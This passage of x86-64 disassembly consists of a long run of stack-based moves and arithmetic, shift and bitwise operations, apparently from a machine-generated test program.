mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0x8f48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa888]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa530]
mov byte [rcx], al
movzx eax, word [rsp + 0x1074]
mov word [rsp + 0x1334], ax
movsx eax, word [rsp + 0x121c]
movsx ecx, word [rsp + 0x1128]
add eax, ecx
mov rcx, qword [rsp + 0xa290]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f50]
mov dword [rsp + 0x5124], eax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4f48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50ac], eax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa800]
mov qword [rcx], rax
lea rax, [rsp + 0xa420]
mov qword [rsp + 0xa980], rax
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x9828]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e8970]
mov word [rcx], ax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8f], al
lea rax, [rsp + 0xc6]
mov qword [rsp + 0xa988], rax
movsx eax, byte [rsp + 0x13b]
movsx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0x8f], al
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x146], al
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0xa730]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9438]
mov rcx, qword [rsp + 0xa660]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8e0], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0xa990], rax
mov eax, dword [rsp + 0x4f0c]
mov rcx, qword [rsp + 0x9b68]
mov qword [rsp + 0xa998], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x50f0], eax
lea rax, [rsp + 0x1324]
mov qword [0x1401e8b58], rax
lea rax, [rsp + 0x1240]
mov qword [rsp + 0xa9a0], rax
mov rax, qword [rsp + 0x95b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd9], al
movsx eax, word [rsp + 0x115c]
mov rcx, qword [rsp + 0xa7d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0x9148]
movzx eax, byte [rax]
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0xa178]
mov rcx, qword [rsp + 0xa2d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa170]
mov eax, dword [rax]
mov dword [rsp + 0x5128], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0xa208]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9198], rax
mov eax, dword [rsp + 0x4e90]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1180]
movsx ecx, word [rsp + 0x1164]
sub eax, ecx
mov rcx, qword [0x1401e8ac8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1244]
mov word [rsp + 0x1338], ax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9070]
mov byte [rcx], al
movzx eax, byte [rsp + 0x132]
mov byte [rsp + 0x148], al
movzx eax, word [rsp + 0x1238]
movzx ecx, word [rsp + 0x1258]
sub eax, ecx
mov rcx, qword [rsp + 0x9208]
mov word [rcx], ax
mov eax, dword [rsp + 0x4ef4]
mov dword [rsp + 0x512c], eax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [rsp + 0x8df8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b58], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f40], rax
lea rax, [rsp + 0x4ef0]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0xa188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9720]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa568]
mov byte [rcx], al
movsx eax, word [rsp + 0x1044]
mov rcx, qword [0x1401e89b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e70d8], ax
movzx eax, byte [rsp + 0xe2]
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa1e0]
mov word [rcx], ax
movsx eax, byte [0x1401e703f]
movsx ecx, byte [rsp + 0x13f]
shl eax, cl
mov byte [rsp + 0x148], al
lea rax, [rsp + 0x92a8]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0xa410]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4edc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96c0]
mov dword [rcx], eax
mov rax, qword [0x1401e7028]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0x8e28]
mov rcx, qword [rsp + 0x9298]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ffc], eax
mov rax, qword [rsp + 0x9d88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1204]
and eax, ecx
mov word [rsp + 0x1160], ax
mov rax, qword [0x1401e8a40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9aa0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8990]
mov word [rcx], ax
movzx eax, word [rsp + 0x128c]
mov word [rsp + 0x133c], ax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0x120]
sub eax, ecx
mov byte [rsp + 0x118], al
movzx eax, word [0x1401e70b4]
mov word [rsp + 0x1340], ax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0xa420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0x9408]
mov ecx, dword [rsp + 0x5094]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa788]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5a8]
mov rax, qword [rax]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa330]
mov ecx, dword [rsp + 0x50cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5098], eax
lea rax, [rsp + 0x117c]
mov qword [rsp + 0xa9c8], rax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov byte [0x1401e706f], al
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa438]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe0]
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d4]
and eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov word [rcx], ax
mov rax, qword [rsp + 0xa010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9478]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa620]
mov qword [rcx], rax
lea rax, [rsp + 0x5018]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0xa528]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9018]
sar rax, cl
mov qword [rsp + 0x9e60], rax
lea rax, [rsp + 0x4ed0]
mov qword [rsp + 0xa9d8], rax
movsx eax, byte [rsp + 0xec]
movsx ecx, byte [rsp + 0x123]
xor eax, ecx
mov rcx, qword [rsp + 0x9aa8]
mov byte [rcx], al
movzx eax, byte [0x1401e7025]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov rcx, qword [0x1401e8830]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1004]
add eax, ecx
mov word [rsp + 0x1284], ax
lea rax, [rsp + 0x104c]
mov qword [rsp + 0xa9e0], rax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x117]
sub eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0x9c38]
mov ecx, dword [rsp + 0x4e94]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa170]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0xa830]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa248]
mov qword [rcx], rax
lea rax, [rsp + 0x5104]
mov qword [rsp + 0xa9e8], rax
mov rax, qword [0x1401e7028]
mov rcx, qword [rsp + 0x8fe8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa1e8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x12fc]
mov word [0x1401e8b60], ax
lea rax, [rsp + 0x75]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0x9c58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1144], ax
movzx eax, word [0x1401e87a0]
mov word [rsp + 0x1344], ax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x9930]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f98], rax
lea rax, [rsp + 0x8ca8]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0x9408]
mov rcx, qword [rsp + 0xa090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x511c], eax
mov eax, dword [rsp + 0x5080]
mov dword [rsp + 0x5130], eax
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12a4]
sub eax, ecx
mov rcx, qword [0x1401e8b50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
add eax, ecx
mov rcx, qword [rsp + 0x98e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xda]
mov rcx, qword [0x1401e87b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x9c], al
movzx eax, word [rsp + 0x103c]
mov word [rsp + 0x1348], ax
movsx eax, byte [rsp + 0xd2]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
mov qword [rsp + 0xaa00], rax
mov eax, dword [rsp + 0x4f0c]
mov ecx, dword [0x1401e7008]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9bc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ed0]
movzx ecx, al
mov eax, dword [rsp + 0x4fe4]
shl eax, cl
mov rcx, qword [rsp + 0x9408]
mov dword [rcx], eax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0x9d60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e7072], al
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ab8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x90c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x14c], al
movzx eax, word [rsp + 0x11ac]
movzx ecx, word [rsp + 0x11dc]
add eax, ecx
mov word [rsp + 0x1344], ax
mov rax, qword [rsp + 0xa688]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa218]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x86], al
mov rax, qword [rsp + 0x9838]
mov eax, dword [rax]
mov dword [rsp + 0x5134], eax
mov rax, qword [rsp + 0xa3b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0xa7b8]
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x511c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5004], eax
movzx eax, word [rsp + 0x1020]
movzx ecx, word [rsp + 0x1048]
sub eax, ecx
mov word [0x1401e70dc], ax
lea rax, [rsp + 0x8a]
mov qword [rsp + 0xaa18], rax
mov rax, qword [0x1401e8a60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa188]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfe], al
movsx eax, word [rsp + 0x11cc]
movsx ecx, word [rsp + 0x1140]
sub eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0xa500]
mov rcx, qword [rsp + 0xa630]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9be0], rax
lea rax, [rsp + 0x4ea4]
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0x9e48]
mov ecx, dword [rsp + 0x4f40]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9eb8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94a8]
mov rcx, qword [rsp + 0x9f38]
mov qword [rsp + 0xaa28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1118]
shl eax, cl
mov rcx, qword [0x1401e88a0]
mov word [rcx], ax
lea rax, [rsp + 0x128]
mov qword [rsp + 0xaa30], rax
mov rax, qword [rsp + 0x9370]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
and eax, ecx
mov byte [rsp + 0xe2], al
movzx eax, word [rsp + 0x10fc]
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0xa4b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x9820]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9e38]
mov qword [rcx], rax
lea rax, [rsp + 0x4e1c]
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0xa600]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa3f8], rax
mov eax, dword [rsp + 0x4e74]
mov dword [rsp + 0x5138], eax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12dc]
add eax, ecx
mov word [0x1401e7040], ax
movzx eax, word [rsp + 0x1238]
mov rcx, qword [0x1401e8868]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1110]
movsx ecx, word [rsp + 0x103c]
sub eax, ecx
mov word [rsp + 0x12a4], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0xaa40], rax
movsx eax, byte [rsp + 0x117]
movsx ecx, byte [0x1401e703e]
sub eax, ecx
mov rcx, qword [rsp + 0x9aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9438]
mov qword [rsp + 0xaa48], rax
mov rax, qword [rsp + 0x9d40]
mov ecx, dword [rsp + 0x5108]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
lea rax, [rsp + 0xa7c0]
mov qword [rsp + 0xaa50], rax
mov rax, qword [rsp + 0x9cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee8], eax
lea rax, [rsp + 0x12bc]
mov qword [0x1401e8b68], rax
mov rax, qword [rsp + 0x9c30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9f0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9550]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4b0]
movzx eax, word [rax]
mov word [rsp + 0x1350], ax
movzx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x9370]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9460]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa7c8]
mov rcx, qword [rsp + 0x9678]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x511c], eax
mov rax, qword [rsp + 0xa738]
mov rcx, qword [rsp + 0xa2c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9130], rax
mov eax, dword [rsp + 0x50e4]
mov dword [rsp + 0x513c], eax
mov rax, qword [rsp + 0x92e8]
mov rcx, qword [0x1401e7018]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
lea rax, [rsp + 0x1084]
mov qword [rsp + 0xaa58], rax
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7026], al
mov rax, qword [0x1401e8aa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [rsp + 0x10c0], ax
movzx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0xa168]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x9e28]
mov qword [rsp + 0xaa60], rax
mov rax, qword [rsp + 0x9808]
mov rcx, qword [rsp + 0xa480]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0x4fd4]
mov qword [rsp + 0xaa68], rax
mov rax, qword [rsp + 0x9bc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
and eax, ecx
mov byte [rsp + 0x13e], al
lea rax, [rsp + 0x10fc]
mov qword [0x1401e8b70], rax
movzx eax, byte [0x1401e704b]
mov rcx, qword [rsp + 0x9df0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0xd4]
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a98]
mov word [rcx], ax
lea rax, [0x1401e7008]
mov qword [rsp + 0xaa70], rax
mov rax, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0xa010]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9a40], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x4f48]
shr eax, cl
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov qword [rsp + 0xaa78], rax
movzx eax, byte [rsp + 0x146]
mov rcx, qword [rsp + 0x9908]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [0x1401e7088]
xor eax, ecx
mov rcx, qword [0x1401e8aa0]
mov word [rcx], ax
lea rax, [rsp + 0x11fc]
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0xa878]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1308], ax
movsx eax, byte [rsp + 0xcc]
mov rcx, qword [0x1401e89d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x9f88]
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0x93a0]
mov rcx, qword [rsp + 0x91f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa9c0], rax
lea rax, [rsp + 0x4ff8]
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0xa790]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e5c], eax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0xa568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd7], al
movzx eax, byte [0x1401e7072]
mov byte [0x1401e87f6], al
mov rax, qword [rsp + 0x9a48]
movzx eax, word [rax]
mov word [rsp + 0x1354], ax
mov rax, qword [rsp + 0x9718]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12d4]
sub eax, ecx
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov word [rsp + 0x1358], ax
mov rax, qword [0x1401e8a98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9e90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa880]
mov eax, dword [rax]
mov dword [rsp + 0x5140], eax
mov rax, qword [rsp + 0x9178]
mov rcx, qword [rsp + 0xa788]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [0x1401e7028]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0x9790]
mov qword [rsp + 0xaa98], rax
lea rax, [rsp + 0x12f8]
mov qword [0x1401e8b78], rax
mov rax, qword [rsp + 0x9ad0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0xa568]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1e0]
movzx eax, word [rax]
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0xa758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10a0]
or eax, ecx
mov word [rsp + 0x11b8], ax
movzx eax, byte [rsp + 0x88]
movzx ecx, byte [0x1401e706e]
xor eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa458]
mov eax, dword [rax]
mov dword [rsp + 0x5144], eax
mov rax, qword [rsp + 0x9308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f38]
mov qword [rsp + 0xaaa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaaa0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa830], rax
lea rax, [rsp + 0x5020]
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0x9948]
movzx ecx, al
mov rax, qword [rsp + 0x9a08]
shl rax, cl
mov rcx, qword [rsp + 0x9c60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1210]
sub eax, ecx
mov word [0x1401e7050], ax
mov rax, qword [rsp + 0x8f50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9aa0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov word [rcx], ax
lea rax, [rsp + 0x12e4]
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0x9448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x130]
sub eax, ecx
mov rcx, qword [rsp + 0x98d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa6]
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0x9ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f94], eax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov qword [rsp + 0xaab8], rax
mov eax, dword [rsp + 0x4f10]
mov ecx, dword [rsp + 0x4f24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ba8]
mov rcx, qword [rsp + 0x99c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x8e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x97f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8b68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11e], al
movzx eax, word [rsp + 0x132c]
mov word [rsp + 0x1360], ax
mov rax, qword [0x1401e8998]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
add eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x9f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa850]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc8]
mov qword [rsp + 0xaac0], rax
mov rax, qword [rsp + 0xaa70]
mov rcx, qword [rsp + 0xa238]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa1c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d44]
mov dword [rsp + 0x5148], eax
lea rax, [rsp + 0x100]
mov qword [0x1401e8b80], rax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [0x1401e703c]
sar eax, cl
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x9f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a48]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
mov rax, qword [rsp + 0x9bc8]
movzx eax, byte [rax]
mov byte [rsp + 0x153], al
movzx eax, byte [0x1401e7025]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
lea rax, [rsp + 0x8f40]
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0x9db0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaab8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0xa138]
mov rcx, qword [rsp + 0xa838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa280]
mov eax, dword [rax]
mov dword [rsp + 0x514c], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x8e]
and eax, ecx
mov byte [0x1401e705a], al
movsx eax, word [0x1401e70a4]
movsx ecx, word [rsp + 0x1104]
add eax, ecx
mov word [rsp + 0x1034], ax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0xaad0], rax
movsx eax, word [rsp + 0x114c]
mov rcx, qword [rsp + 0xa758]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x9248]
movzx eax, byte [rax]
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x9510]
mov rcx, qword [rsp + 0xa378]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9150]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x98f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9088]
mov qword [rcx], rax
lea rax, [rsp + 0x4e58]
